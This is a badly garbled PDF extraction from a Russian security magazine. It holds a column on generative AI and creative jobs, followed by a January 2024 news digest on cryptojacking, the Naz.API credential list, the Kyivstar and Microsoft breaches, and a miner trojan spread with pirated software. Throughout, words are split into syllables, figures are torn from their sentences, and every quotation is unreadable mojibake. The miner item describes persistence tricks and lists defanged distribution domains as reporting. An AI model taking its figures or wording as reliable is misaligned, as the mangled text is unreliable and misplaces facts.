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То раз гора ется, то тле ет мас совый про тест
худож ников и про чих кре атив щиков про тив
генера тив ных ней росетей. Свя зан ные
с этим спо ры — одна из самых футурис- 
тичных и даже кибер панков ских дис куссий,
которые сей час мож но встре тить. Роботы
отби рают у людей воз можность тру дить ся,
и не потен циаль но в будущем, а уже пря мо
сей час.

В  я писал о «мировоз зре нии» ИИ (AI
alignment), то есть его потен циаль ной зло наме рен ности. Но за скоб ками
оста лась еще одна проб лема — шорох, который ИИ наводит на рын ке тру да.

од ном из прош лых выпус ков колон ки

В соц сетях виток за вит ком пов торя ется спор о том, переди рает ли ИИ
работы людей или прос то смот рит и вдох новля ется — подоб но живым худож- 
никам, которые вос питали свои вкус и мас терс тво на работах пред шес твен- 
ников.

INFO

Под робнее о тяж бе худож ников с вла дель цами
ней росетей читай в статье Оле га Афо нина «

», а о том,
как раз вернуть у себя генера тив ную ней росеть, —
в статье «

».

Ху- 
дож ники про тив ИИ. Раз бира емся с юри дичес ким
ста тусом твор чес тва ней росетей

Stable Diffusion XL. Генери руем кар- 
тинки ней росетью на сво ем компь юте ре

За нят но наб людать, как далекие от тех нологий люди горячо обсужда ют саму
суть ИИ. Что это — адская машина пла гиата, которая бес прин ципно скле- 
ивает понадер ганные из чужих работ кусоч ки, или без пяти минут элек трон- 
ный тво рец? Да и как не обсуждать, если от отве та может нап рямую зависеть
твой дос таток!

Прог раммис там и писате лям еще повез ло — им нынеш нее поколе ние
ней росетей ста ло не заменой, а хорошим под спорь ем. Вых лоп ChatGPT даже
чет вертой вер сии сам по себе прак тичес ки бес полезен. Нужен живой спе- 
циалист, что бы зап рос за зап росом выдо ить из ней росет ки неч то инте рес ное
и закон ченное.

Ку да острее сто ит воп рос с работой худож ников. DALL-E 3 и Midjourney
спо соб ны выдавать поч ти безуп речные изоб ражения даже в руках дилетан та.
Это не может не печалить, если ты пол жизни учил ся дос тигать тех же резуль- 
татов вруч ную.

Нас же, дилетан тов, такая воз можность бес конеч но раду ет и раз вле кает.
Написал зап рос, нажал кноп ку — и вот твоя задум ка уже воп лотилась.
А худож ника поди еще упро си нарисо вать, нап ример, .Брок ко Ли

Ну или серию кар тин со все более и более злы ми лягуш ками.

Еще тре вож нее акте рам и дик торам. Под делать голос сей час не сос тавля ет
тру да, и резуль тат все тяжелее отли чить от ори гина ла. Том Хэнкс, нап ример,
прос нулся однажды утром, взял в руки телефон и , что рек ламиру ет
зуб ную стра хов ку, о которой слы хом не слы хивал.

об наружил

Прош логод няя забас товка режис серов и недав ний про тест акте ров озву- 
чива ния игр про ходи ли не толь ко во имя улуч шения усло вий тру да, но и с тре- 
бова ниями огра ничить исполь зование ИИ. И это не фан тазии и не перес тра- 
хов ки: син тетичес кая озвучка уже при меня ется — нап ример, в недав нем
шутере The Finals.

Так что опас ность кажет ся впол не реаль ной: при ход новой тех нологии,
как это быва ет, обя затель но кого-то пот ревожит, зас тавит пере учи вать ся
или даже вре мен но оста вит без работы. Но я не верю, что на этом эта пе выз- 
ванная ИИ без работи ца ста нет мас совой.

По нят но, что неэтич но про давать прог рамму, которая смо жет бес плат но
пла гиатить чей-то голос или кон крет ный автор ский стиль. Тут оста ется толь ко
наде ять ся, что законо дате ли смо гут при нять адек ватные меры и тог да пос- 
тепен но на мес те хаоса вырас тет по воз можнос ти здра вая сис тема.

Мож но вооб разить сер вис, через который твор цы нач нут получать
отчисле ния, если поль зователь поп росил ней росеть сде лать что-то в их фир- 
менном сти ле. Тог да худож ники ста нут даже заин тересо ваны в том, что бы
раз работать понят ную для ИИ тех нику и нат рениро вать сеть. А рукот ворные
работы будут исполь зовать в качес тве рек ламы.

Ин терес ного и кра сиво го ста нет толь ко боль ше! К тому же с не зарегу- 
лиро ван ным в хлам ИИ челове чес тво смо жет поз волить себе прин ципи аль но
новые вещи. Пред ставь: пер сонажи в играх будут, нап ример, не пов торять
заранее записан ные фра зы, а нем ного импро визи ровать. Раз ве не кру то?

А еще сто ит пом нить, что силь ного ИИ у нас нет и, ско рее все го, в бли жай- 
шие пару десяти летий не будет. Да, ChatGPT и Midjourney дела ют вос- 
хититель ные вещи. Да, мож но ждать новых и все более изощ ренных при мене- 
ний генера тив ного ИИ. Но что бы машина мыс лила, как человек, и само обу- 
чалась на ходу, нуж но еще боль ше вычис литель ных мощ ностей — ско рее все- 
го, на нес коль ко поряд ков.

А это зна чит, что компь ютер пока что не будет понимать, что имен но он
дела ет, не будет учи тывать кон текст про исхо дяще го, опи рать ся на свой опыт
и зна ние миро устрой ства. А без это го ничего  сде лать

не получит ся. Так что при дет ся нам, кожаным меш кам, еще порабо тать.

ïî�÷åëîâå ÷åñ êè
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В этом месяце: поч ту Microsoft взло мала хак груп па APT29,
у Adblock воз никли проб лемы с YouTube, обна ружен
огромный спи сок для атак credential stuffing — Naz.API,
Mozilla рас кри тико вала изме нения в пра вилах Apple, завер- 
шилось пер вое хакер ское сорев нование Pwn2Own
Automotive, а так же дру гие инте рес ные события про шед шего
янва ря.

МИЛЛИОН
ВИРТУАЛОК
ДЛЯ МАЙНИНГА

Ев ропол сооб щил об арес те 29-лет него граж данина Укра ины (его лич ность
не раз гла шает ся), которо го подоз рева ют в орга низа ции мас штаб ной крип- 
тодже кин говой схе мы. Счи тает ся, что хакер с раз махом экс плу ати ровал
чужие облачные ресур сы: с помощью взло ман ных учет ных записей подоз- 
рева емый соз дал мил лион вир туаль ных сер веров и исполь зовал их
для нелегаль ной добычи крип товалю ты.

Впер вые информа ция об этой схе ме появи лась в янва ре 2023 года, ког да
неназ ванный про вай дер облачных услуг обна ружил взлом учет ных записей
на сво ей плат форме и занял ся рас сле дова нием это го инци ден та. В ито ге
весь про шед ший год Евро пол, укра инская полиция и пред ста вите ли про вай- 
дера сов мес тно работа ли над сбо ром дан ных, необ ходимых для поис ка
и иден тифика ции хакера.

По дан ным следс твия, подоз рева емый вел активную деятель ность
с 2021 года: имен но тог да он впер вые исполь зовал собс твен ные авто мати- 
зиро ван ные брут форс-инс тру мен ты для под бора 1500 паролей от акка унтов
неназ ванной дочер ней ком пании одно го из круп ней ших в мире пос тавщи ков
e-commerce-решений.

Пос ле взло ма зло умыш ленник исполь зовал ском про мети рован ные учет- 
ные записи, что бы получить адми нис тра тив ные при виле гии и соз дать боль ше
мил лиона вир туаль ных машин, через которые затем добывал крип товалю ту
за чужой счет.

Из вес тно, что подоз рева емый исполь зовал крип товалют ные кошель ки
TON для переме щения сво их незакон ных доходов, а общая сум ма тран закций
сос тавля ет око ло 2 мил лионов дол ларов США.

Те перь задер жанно го обви нят по статье, свя зан ной с несан кци они рован- 
ным вме шатель ством в работу информа цион ных, элек трон ных ком муника ций
и сетей элек трон ных ком муника ций.

Крип тодже кинг по-преж нему оста ется замет ной проб лемой, хотя рас цвет
таких атак при шел ся на 2017–2018 годы. К при меру, сог ласно отче ту ком- 
пании Sysdig, в 2022 году крип тодже керы «зараба тыва ли» при мер но дол лар
в крип товалю те на каж дые 53 дол лара, пот рачен ные орга низа цией-жер твой.

 ЧЕЛОВЕК ПОСЕТИЛ ПИРАТСКИЕ САЙТЫ141 ÌÈËËÈÀÐÄ

Ком пания MUSO, спе циали зиру ющаяся на защите автор ских прав и борь бе с пиратс твом,
и кон салтин говая фир ма Kearney под счи тали, что за про шед ший год в мире был зарегис три- 
рован  посеще ний пират ских сай тов, что на  боль ше, если срав нивать
с дан ными за 2022 год.

141  мил лиард 10%

На иболь шей популяр ностью, как и в пре дыду щие годы, поль зует ся кино- и телекон тент,
на который при ходит ся  посеще ний. Вто рое мес то занима ет ани ме с  посеще ний, а за
ним сле дуют пря мые спор тивные тран сля ции ( ) и тра дици онное линей ное (linear) телеви- 
дение ( ).

65% 15%
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БОЛЬШЕ РЕБУТОВ
ДЛЯ ANDROID

Раз работ чики GrapheneOS, ори енти рован ной на кон фиден циаль ность
и безопас ность, пред ложили добавить в Android фун кцию авто мати чес кой
перезаг рузки, что бы зат руднить экс плу ата цию неких недав но обна ружен ных
уяз вимос тей в про шив ке таких устрой ств, как Google Pixel и Samsung Galaxy.
По сло вам спе циалис тов, эти уяз вимос ти в пос леднее вре мя исполь зуют ся
кибер кри мина лис тами для извле чения информа ции с устрой ств.

Ког да устрой ство находит ся в сос тоянии покоя (то есть вык лючено либо
еще не раз бло киро вано пос ле заг рузки), защита работа ет на пол ную, одна ко
девайс еще не пол ностью работос пособен, пос коль ку клю чи шиф рования
пока недос тупны для исполь зования уста нов ленны ми при ложе ниями.

Пер вая раз бло киров ка пос ле перезаг рузки при водит к переме щению нес- 
коль ких крип тогра фичес ких клю чей в память быс тро го дос тупа, что бы уста- 
нов ленные при ложе ния мог ли работать дол жным обра зом, а устрой ство
более не пре быва ет в сос тоянии покоя.

При этом бло киров ка экра на пос ле исполь зования устрой ства не перево- 
дит его обратно в сос тояние покоя, пос коль ку ряд исклю чений из защит ных
пра вил по-преж нему сох раня ется. Зато перезаг рузка устрой ства завер шает
все вре мен ные сос тояния, про цес сы и дей ствия, которые могут быть исполь- 
зованы зло умыш ленни ками, а пос ле перезаг рузки вновь тре бует ся аутен- 
тифика ции (PIN-код, пароль или биомет ричес кая верифи кация), что опять
акти виру ет защит ные механиз мы.

Нес мотря на то что пока раз работ чики GrapheneOS не подели лись под- 
робной информа цией об упо мяну тых уяз вимос тях про шив ки, они пред ложили
прос тое средс тво защиты, которое будет работать в боль шинс тве слу чаев:
фун кцию авто мати чес кой перезаг рузки устрой ства, которая уже при сутс тву ет
в их ОС.

Суть зак люча ется в том, что бы миними зиро вать окно воз можнос тей
для зло умыш ленни ков и помешать уже сущес тву ющей ком про мета ции, обну- 
ляя все сис темы защиты устрой ства чаще, чем это обыч но дела ет поль- 
зователь. Так, сис тема авто пере заг рузки в GrapheneOS выпол няет сброс
каж дые 72 часа, но, по мне нию соз дателей ОС, это слиш ком боль шой пери- 
од, и они решили его сок ратить.

В GrapheneOS уже обно вили сис тему перезаг рузки, и теперь интервал
сос тавля ет не 72, а 18 часов. Кро ме того, раз работ чики изме нили саму
импле мен тацию фун кции авто пере заг рузки, перемес тив ее из system_server
в init для повыше ния надеж ности.

Сто ит отме тить, что в Google рас ска зали, что 2 янва ря 2024 года раз- 
работ чики GrapheneOS дей стви тель но сооб щили о неких ошиб ках через офи- 
циаль ную прог рамму bug bounty Android и в нас тоящее вре мя спе циалис ты
изу чают это сооб щение «для опре деле ния даль нейших шагов».

Ис сле дова тели утвер жда ют, что нап рямую испра вить най ден ные ошиб ки
про шив ки невоз можно из-за аппа рат ных огра ниче ний, но вмес то это го пред- 
лага ют сти рать память про шив ки при перезаг рузке устрой ства и внес ти улуч- 
шения в API адми нис три рова ния для более безопас ного уда ления дан ных.

MOZILLA КРИТИКУЕТ ИЗМЕНЕНИЯ В ПРАВИЛАХ APPLE
ДЛЯ EC

С релизом iOS 17.4, зап ланиро ван ным на март, Apple пред ста вит мно жес тво изме нений,
которые будут акту аль ны толь ко для стран ЕС. Нап ример, ком пания наконец раз решит уста нов- 
ку сто рон них при ложе ний в обход App Store, а так же исполь зование сто рон них бра узер ных
движ ков в iOS-при ложе ниях. Одна ко пред ста вите ли Mozilla, которые теперь смо гут исполь- 
зовать дви жок Gecko, говорят, что эти новов ведения будут «мак сималь но болез ненны ми»
для Firefox.

→ «Мы все еще изу чаем тех ничес кие детали, но край не разоча рова ны пред- 
ложен ным Apple пла ном огра ничить недав но анон сирован ный BrowserEngineKit
при ложе ниями, пред назна чен ными для ЕС. Это при ведет к тому, что незави- 
симый бра узер, такой как Firefox, будет вынуж ден соз давать и под держи вать
две отдель ные импле мен тации. И это бре мя при дет ся нес ти вов се не Apple.

Пред ложения Apple не дают пот ребите лям реаль ную воз можность выбора,
пос коль ку соз дание кон курен тоспо соб ных аль тер натив Safari для дру гих раз- 
работ чиков ста новит ся мак сималь но болез ненным. Это еще один при мер того,
как Apple соз дает барь еры для пре дот вра щения реаль ной кон курен ции сре ди
бра узе ров для iOS», — рас ска зыва ет пред ста витель Mozilla Дами ано Де Мон те
(Damiano DeMonte).

АТАКА НА KYIVSTAR

Reuters сооб щило, что декабрь скую ата ку на круп ней шего укра инско го опе- 
рато ра мобиль ной свя зи Kyivstar пред варял взлом сис тем телеком муника- 
цион ной ком пании. Счи тает ся, что хакеры из груп пы «Сол нце пек» (которую
свя зыва ют с ) про ник ли в сис темы Kyivstar еще в мае 2023 года.Sandworm

На пом ним, что ата ка на Kyivstar про изош ла в середи не декаб ря 2023 года.
Из-за это го инци ден та у опе рато ра, чья або нент ская база нас читыва ет
более 24 мил лионов человек, воз никли серь езные проб лемы в работе, а мил- 
лионы поль зовате лей мобиль ной свя зи и интерне та стол кну лись с раз личны- 
ми сбо ями и даже пол ным отсутс тви ем свя зи.

Вско ре ответс твен ность за эту ата ку взя ла на себя рус ско языч ная хак груп- 
па «Сол нце пек», которая заяви ла в сво ем Telegram-канале, что ата кова ла
Kyivstar потому, что опе ратор «обес печива ет связью ВСУ, а так же государс- 
твен ные орга ны и силовые струк туры Укра ины». При этом хакеры утвер жда ли,
что им уда лось унич тожить «10 тысяч компь юте ров, более 4 тысяч сер веров,
все сис темы облачно го хра нения дан ных и резер вно го копиро вания».

Как теперь сооб щили СМИ, гла ва управле ния кибер безопас ности Служ бы
безопас ности Укра ины (СБУ) Илья Витюк рас ска зал, что хакеры про ник ли
в сеть Kyivstar еще в мае 2023 года (или даже рань ше) и боль ше полуго да
готови лись к ата ке.

«
»

«Íà äàí íûé ìîìåíò ìû ìîæåì ñ óâå ðåí íîñòüþ ñêà çàòü, ÷òî îíè
íàõîäè ëèñü â ñèñ òåìå êàê ìèíèìóì ñ ìàÿ 2023 ãîäà. Íå ìîãó ñåé ÷àñ
ñêà çàòü, ñ êàêîãî âðå ìåíè îíè ïîëó÷è ëè... ïîë íûé äîñ òóï. Âåðî ÿòíî,
êàê ìèíèìóì ñ íîÿá ðÿ», — ãîâîðèò Âèòþê.

По его сло вам, в резуль тате ата ки ока зались «унич тожены» тысячи вир туаль- 
ных сер веров и ПК, и Витюк наз вал этот инци дент при мером раз рушитель ной
кибера таки, которая «пол ностью раз рушила ядро опе рато ра свя зи». Сто ит
отме тить, что ранее в ком пании называ ли фей ком сооб щения о том, что ата- 
кующим уда лось унич тожить ее компь юте ры и сер веры.

По оцен кам СБУ, у хакеров была воз можность похитить лич ную информа- 
цию поль зовате лей, опре делить мес тонахож дение кон крет ных устрой ств,
перех ватывать SMS-сооб щения и, веро ятно, «уго нять» Telegram-акка унты,
учи тывая тот уро вень дос тупа, который они получи ли.

Пред ста вите ли Kyivstar, который уже вер нулся к нор маль ной работе, заяв- 
ляют, что ком пания тес но сот рудни чает с пра воох ранитель ными орга нами
в рас сле дова нии слу чив шегося, под черки вая, что сле дов «утеч ки пер сональ- 
ных и або нент ских дан ных не выяв лено».

УТЕЧКИ ДАННЫХ В 2023 ГОДУ
Ана лити ки сер виса по раз ведке уяз вимос тей и уте чек дан ных DLBI под счи тали, что в 2023 году
уте чек дан ных рос сий ских поль зовате лей про изош ло боль ше, одна ко они ста ли мель че. Изу- 
чен ные дан ные были выс тавле ны на про дажу в дар кне те, опуб ликова ны на зак рытых форумах
и в Telegram-каналах, а так же попада ли в сво бод ный дос туп.

Все го в ушед шем году про изош ло более  уте чек, в резуль тате которых зло умыш ленни ки
получи ли дос туп к  уни каль ных телефон ных номеров и  поч- 
товых адре сов рос сий ских поль зовате лей.

290
240 мил лионам 123 мил лионам

Чис ло инци ден тов нез начитель но пре выси ло резуль тат 2022 года, ког да про изош ло более 
уте чек.

270

Ли дером по чис лу уте чек в 2023 году с боль шим отры вом стал сег мент 
 (поч ти  инци ден тов), за ним сле дуют  ( ) и  ( ).

элек трон ной ком- 
мерции 40% здра воох ранение 9% до суг 8,5%

Ли дера ми по объ ему утек ших дан ных ста ли  (  утек ших телефон ных
номеров) и элек трон ная ком мерция (  утек ших email-адре сов). Так же бан ков ская отрасль
заняла пер вое мес то и по сред нему раз меру утеч ки.

бан ков ская отрасль 47%
38%

Ос новным трен дом 2023 года, помимо пере ориен тации прес тупни ков на e-commerce, в DLBI
наз вали сни жение доли круп ных уте чек (раз мером более мил лиона уни каль ных записей) с 
до .

30
10%

У ADBLOCK
ПРОБЛЕМЫ
С YOUTUBE

Поль зовате ли Adblock и Adblock Plus мас сово жалу ются на проб лемы с про- 
изво дитель ностью YouTube. Сна чала поль зовате ли решили, что Google
исполь зует какую-то новую так тику для борь бы с бло киров щиками рек ламы,
но ока залось, что проб лемы воз никли из-за ошиб ки в самом рас ширении.

В янва ре про изво дитель ность YouTube при вклю чении бло киров щика рек- 
ламы замет но ухуд шилась, видео поп росту не успе вают под гру жать ся с необ- 
ходимой для прос мотра ско ростью, то и дело под висая. При этом отклю чение
бло киров щика рек ламы сра зу же повыша ет про изво дитель ность.

Поль зовате ли сооб щают, что при вклю чен ном бло киров щике воз ника ют
и дру гие стран ные проб лемы. Нап ример, из-за «лагов» не работа ет пол ноэк- 
ранный режим, не заг ружа ются ком мента рии, а иног да Chrome вооб ще
перес тает заг ружать дру гие стра ницы, пока открыт YouTube, то есть стра дает
про изво дитель ность всей ОС.

В прош лом году Google активно   бло киров щиков
рек ламы на YouTube, в том чис ле добавив пятисе кун дную задер жку при пер- 
воначаль ной заг рузке сай та для поль зовате лей с такими рас ширени ями.
В ито ге поль зовате ли пос пешили обви нить ком панию в про исхо дящем,
решив, что теперь Google умыш ленно замед лила буфери зацию видео
для поль зовате лей с бло киров щиками.

пре пятс тво вала ра боте

Од нако вско ре раз работ чик uBlock Origin Рэй монд Хилл (Raymond Hill)
объ яснил в X, что проб лемы выз ваны не дей стви ями Google, а самими рас- 
ширени ями семей ства Adblock и про явля ются не толь ко на YouTube, но и
на дру гих сай тах, осо бен но если стра ницы динами чес ки обновля ются.

При этом прос того отклю чения Adblock Plus или Adblock будет недос таточ- 
но для устра нения проб лем. Хилл пишет, что сна чала нуж но нес коль ко раз
перезаг рузить стра ницу или открыть ее в новой вклад ке, что бы рас ширение
пол ностью отклю чилось.

Кро ме того, на GitHub Adblock Plus появил ся , пос вящен ный
«проб лемам с про изво дитель ностью», которые воз никли в вер сии 3.22 и дол- 
жны быть исправ лены в вер сии 3.22.1. Пред полага ется, что проб лемы свя- 
заны с вер сией 1.1.1 движ ка рас ширений, пред став ленной в вер сии Adblock
5.17 и Adblock Plus 3.22.

баг-репорт

При этом раз работ чики рас ширений , что пока им не уда ется
самос тоятель но вос про извести проб лему, и про сили поль зовате лей пре дос- 
тавить обратную связь, что бы опре делить кор ни воз никно вения это го бага.

пи сали

РУНЕТ ВЫРОС НА  ДОМЕНА506 024

Ко орди наци онный центр доменов .RU/.РФ под вел ито ги 2023 года для рос сий ских наци ональ- 
ных доменов. За про шед ший год рунет вырос на  домена (на  боль ше, чем
в 2022 году) и вер нулся на  в мировом рей тин ге стра новых доменов.

506  024 10,3%
5-е мес то

По дан ным на конец декаб ря, в зоне .RU нас читыва лось  доменов, из которых 
были зарегис три рова ны рос сий ски ми граж данами и орга низа циями. Все го в прош лом году
в зоне .RU было зарегис три рова но  новых доменов.

5 439 137 85%

1 709 718

В кирил личес ком домене .РФ к кон цу прош лого года нас читыва лось  домен ных име ни,
за год домен вырос на  домен ных имен, или .

768 883
92 769 13,7%

ОБНАРУЖЕН СПИСОК
NAZ.API
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На одном из популяр ных хак форумов был обна ружен спи сок для атак
credential stuffing, содер жащий око ло мил лиар да строк вор ванных дан ных,
вклю чая 71 мил лион уни каль ных адре сов элек трон ной поч ты, сооб щил
ИБ-иссле дова тель Трой Хант (Troy Hunt), который руково дит сер висом опо- 
веще ния об утеч ках Have I Been Pwned.

«

»

«Âîò ïðå äûñ òîðèÿ: íà ýòîé íåäåëå ñî ìíîé ñâÿ çàëàñü èçâåñ òíàÿ òåõ- 
íîëîãè ÷åñ êàÿ êîì ïàíèÿ, êîòîðàÿ ïîëó÷è ëà bug bounty îò÷åò, îñíî âàí- 
íûé íà ñïèñ êå ó÷åò íûõ äàí íûõ, îïóá ëèêîâàí íîì íà ïîïóëÿð íîì õàê- 
ôîðóìå, — ïèøåò Õàíò. — Õîòÿ ïîñò íà ôîðóìå áûë íàïèñàí ïî÷ òè
÷åòûðå ìåñÿöà íàçàä, îí íå ïîïàäàë ñÿ ìíå íà ãëà çà è, åñòåñ òâåí íî,
íå ïåðåäà âàë ñÿ â âûøå óïî ìÿíó òóþ òåõ íîëîãè ÷åñ êóþ êîì ïàíèþ. Îíè
îòíåñëèñü ê ïðî èñõî äÿùå ìó äîñ òàòî÷ íî ñåðü åçíî, ÷òî áû ïðè íÿòü
ñîîò âåòñ òâó þùèå ìåðû äëÿ ñâî åé (î÷åíü êðóï íîé) ïîëü çîâàòåëü ñêîé
áàçû, à ó ìåíÿ ïîÿâè ëîñü äîñ òàòî÷ íî îñíî âàíèé, ÷òî áû êîï íóòü ãëóá- 
æå, ÷åì â ñëó ÷àå ñ îáû÷ íûì ñïèñ êîì credential stuffing».

Пост на хакер ском форуме

Рас сле дова ние показа ло, что спи сок, носящий имя Naz.API, име ет раз- 
мер 104 Гбайт и сос тоит из 319 фай лов, содер жащих адре са элек трон ной
поч ты и свя зан ные с ними пароли, а так же информа цию о сай тах, на которых
они исполь зовались. Судя по все му, сум марно в Naz.API содер жится более
мил лиар да строк вор ванных учет ных дан ных.

Хант обна ружил, что око ло тре ти email-адре сов из спис ка Naz.API ранее
не фигури рова ли в базе HIBP, то есть они не были частью извес тных дам пов
и уте чек дан ных. Эксперт полага ет, что при чина это го прос та: дан ные
в Naz.API в основном взя ты из логов сти леров. Так же он отме чает, что часть
информа ции была получе на из OSINT-инс тру мен та и поис ковика по утеч кам
дан ных Illicit Services.

Про веряя дос товер ность дан ных, эксперт выяс нил, что адре са элек трон- 
ной поч ты, как и акка унты, с которы ми они свя заны, под линные. Одна ко он
счи тает, что пароли в спис ке, ско рее все го, содер жатся ста рые. Так, нес коль- 
ко под писчи ков HIBP под твер дили, что ука зан ные пароли для их email-адре- 
сов исполь зовались в прош лом. Сам Хант тоже нашел в спис ке один из сво их
ста рых паролей, которым поль зовал ся в 2011 году.

«
»

«Ýòîò ìàñ ñèâ äàí íûõ ñîñ òîèò íå òîëü êî èç ëîãîâ ñòè ëåðîâ, îí òàê æå
ñîäåð æèò êëàñ ñè÷åñ êèå ïàðû ëîãèíîâ è ïàðîëåé äëÿ credential
stuffing’à. Íà ñàìîì äåëå ñàìûé áîëü øîé ôàéë â êîë ëåêöèè èìåí íî
òàêîé — 312 ìèë ëèîíîâ ñòðîê àäðå ñîâ ýëåê òðîí íîé ïî÷ òû
è ïàðîëåé», — ïèøåò Õàíò.

Naz.API доволь но дав но цир кулиру ет в узких кру гах, но широкую извес тность
этот набор дан ных получил пос ле того, как был исполь зован для соз дания
упо мяну той OSINT-плат формы Illicit Services.

Illicit Services

Этот сер вис поз волял посети телям искать в БД укра ден ную информа цию,
вклю чая име на, номера телефо нов, адре са элек трон ной поч ты и дру гие лич- 
ные дан ные. Он исполь зовал дан ные из раз ных источни ков, но одним из круп- 
ней ших источни ков был имен но Naz.API, который тог да рас простра нял ся
в час тном поряд ке сре ди неболь шой груп пы людей.

Хо тя в сво ем бло ге Хант сооб щил, что Illicit Services зак рылся, это не сов- 
сем так. Сер вис дей стви тель но был зак рыт в июле 2023 года из-за опа сений,
что его исполь зуют для док синга и атак на под мену SIM-карт. Одна ко в сен- 
тябре прош лого года он зарабо тал сно ва.

 ПУБЛИКАЦИЙ О КРИПТОВАЛЮТЕ В TELEGRAM
ПИШУТ МОШЕННИКИ
40%

Спе циалис ты Angara Security изу чили пуб ликации на тему крип товалю ты в откры тых Telegram-
каналах. В общей слож ности было выяв лено око ло  матери алов, свя зан ных с крип- 
товалю тами, из которых поч ти  были отме чены как подоз ритель ные и впос ледс твии
уда лены.

22 тысяч
9 тысяч

Для прив лечения поль зовате лей мошен ники исполь зовали агрессив ные наз вания для сво их
Telegram-каналов: , , 

, , , , 
.

«Зарабо ток сей час» «Путь к  успе ху» «Финан совая незави- 
симость» «Умные инвести ции» «Крип то фер ма» «Крип то бабос» «Офи циаль ный
канал»

МАЙНЕР
В ПИРАТСКОМ
СОФТЕ

Ана лити ки ком пании «Док тор Веб» пре дуп редили об учас тивших ся слу чаях
выяв ления тро янов-май неров для скры той добычи крип товалю ты в сос таве
пират ско го ПО, которое рас простра няет ся через Telegram и раз личные сай- 
ты. По под сче там иссле дова телей, один из таких вре доно сов заразил
более 40 тысяч сис тем все го за пол тора месяца.

В декаб ре 2023 года иссле дова тели замети ли рост чис ла детек тирова ний
май нера, который ком пания отсле жива ет как , а так же свя- 
зан ного с ним . Ока залось, май неры попада ли на компь- 
юте ры поль зовате лей вмес те с раз личным пират ским соф том.

Trojan.BtcMine.3767
Trojan.BtcMine.2742

Trojan.BtcMine.3767 пред став ляет собой Windows-тро яна, написан ного
на С++. Это заг рузчик май нера, соз данный на базе опен сор сно го про екта
SilentCryptoMiner.

Ос новны ми источни ками рас простра нения мал вари ста ли Telegram-канал
t[.]me/les_f (более 5 тысяч под писчи ков), а так же сай ты itmen[.]software
и soft[.]sibnet[.]ru. Отме чает ся, что для пос ледне го под готав ливались отдель- 
ные сбор ки с исполь зовани ем уста нов щика NSIS.

Все го за пол тора месяца одна из кам паний по рас простра нению это го тро- 
яна при вела к зараже нию более 40 тысяч компь юте ров. При этом иссле дова- 
тели говорят, что, учи тывая ста тис тику прос мотров пуб ликаций в Telegram-
канале и тра фик упо мяну тых сай тов, мас штаб проб лемы может ока зать ся
более зна читель ным.

Пос ле запус ка заг рузчик копиру ет себя в %ProgramFiles%\google\chrome\
под име нем updater.exe и соз дает задачу пла ниров щика для обес печения
авто заг рузки при запус ке ОС. В целях мас киров ки задача име ет наз вание
GoogleUpdateTaskMachineQC. Кро ме того, заг рузчик про писы вает свой файл
в исклю чения анти виру са Windows Defender, а так же зап реща ет компь юте ру
вык лючать ся и ухо дить в режим гибер нации.

Ис ходные нас трой ки жес тко закоди рова ны в «тело» тро яна, а в даль- 
нейшем нас трой ки получа ют с уда лен ного хос та. Пос ле ини циали зации
в про цесс explorer.exe внед ряет ся полез ная наг рузка — Trojan.BtcMine.2742,
отве чающий за скры тую добычу крип товалю ты.

От меча ется, что допол нитель но заг рузчик поз воля ет уста нав ливать
на ском про мети рован ную машину бес фай ловый рут кит r77, зап рещать
обновле ния Windows, бло киро вать дос туп к опре делен ным сай там, авто мати- 
чес ки уда лять и вос ста нав ливать свои исходные фай лы, при оста нав ливать
про цесс добычи крип товалю ты, а так же выг ружать занима емую май нером
опе ратив ную и виде опа мять при запус ке прог рамм для монито рин га про цес- 
сов в заражен ной сис теме.

ТОРВАЛЬДС НЕДОВОЛЕН КАЧЕСТВОМ КОДА

В спис ке рас сылки для раз работ чиков Linux Линус Тор валь дс рез ко выс казал ся о качес тве кода
Intel Xe для DRM (Direct Rendering Manager) в Linux 6.8. Так как обна ружи лось, что ком миты
от раз работ чиков даже не бил дятся, Тор валь дсу приш лось исправ лять код самос тоятель но, он
в оче ред ной раз посето вал на отсутс твие дол жно го тес тирова ния.

→ «У вас серь езные проб лемы с тес тирова нием. <…> Я пересоб рал патч,
испра вив сло ман ный header-файл Xe compat, но это опре делен но дол жно
работать  так. Как это вооб ще доб ралось до меня без какого-либо тес тирова- 
ния сбор ки? И почему %^!@$% header-файл заголов ка вклю чает файл C?
Это неп равиль но безот носитель но самого бага», — сету ет Тор валь дс.

НЕ

ПОЧТУ MICROSOFT
ВЗЛОМАЛИ

Ком пания Microsoft под твер дила, что в этом месяце хакер ская груп па Midnight
Blizzard (она же Nobelium, APT29 и Cozy Bear) не толь ко взло мала ее кор- 
поратив ную поч ту, но и ата кова ла дру гие орга низа ции бла года ря получен- 
ному дос тупу.

12 янва ря 2024 года Microsoft , что ата кова на рус ско языч ной
груп пиров кой Midnight Blizzard, ряд кор поратив ных email-акка унтов ком пании
взло ман, а дан ные похище ны.

об наружи ла

Со обща лось, что хакеры про вели в сис теме Microsoft боль ше месяца
и ском про мети рова ли элек трон ную поч ту руково дите лей ком пании, сот- 
рудни ков юри дичес кого отде ла и спе циалис тов по кибер безопас ности. При- 
чем в некото рых из укра ден ных писем содер жалась информа ция о самой хак- 
груп пе, отку да зло умыш ленни ки мог ли понять, что Microsoft о них зна ет.

В ком пании рас ска зыва ли, что зло умыш ленни ки про ник ли в сис тему еще в
нояб ре 2023 года, пос ле того как про вели успешную брут форс-ата ку типа
password spray (перебор ранее ском про мети рован ных или час то исполь- 
зуемых паролей) и получи ли дос туп к тес товой учет ной записи ста рого неп- 
роиз водс твен ного тенан та.

Тот факт, что хакеры смог ли получить дос туп к учет ной записи с помощью
брут форса, ука зывал, что акка унт не был защищен двух фактор ной или мно- 
гофак торной аутен тифика цией, которую Microsoft нас тоятель но рекомен дует
исполь зовать для всех типов учет ных записей.

Так же пос ле сооб щения Microsoft у спе циалис тов воз никло немало воп- 
росов о том, каким обра зом хакерам уда лось перей ти к дру гим акка унтам.
Ведь неп роиз водс твен ный тес товый акка унт вряд ли имел пра ва для дос тупа
к дру гим учет ным записям.

В ито ге Microsoft опуб ликова ла более деталь ный отчет об этой ата ке.
Выяс нилось, что в ходе ата ки хакеры исполь зовали резиден тные прок си
и тех нику password spray, скон цен три ровав шись на неболь шом количес тве
учет ных записей. При чем один из ата кован ных акка унтов, как и сооб щалось
ранее, был «уста рев шей, неп роиз водс твен ной учет ной записью тес тового
тенан та».

«
»

«Â ýòîé àòà êå Midnight Blizzard ïîäñ òðî èëè ñâîþ àòà êó òèïà password
spray ïîä îãðà íè÷åí íîå ÷èñ ëî ó÷åò íûõ çàïèñåé è èñïîëü çîâàëè
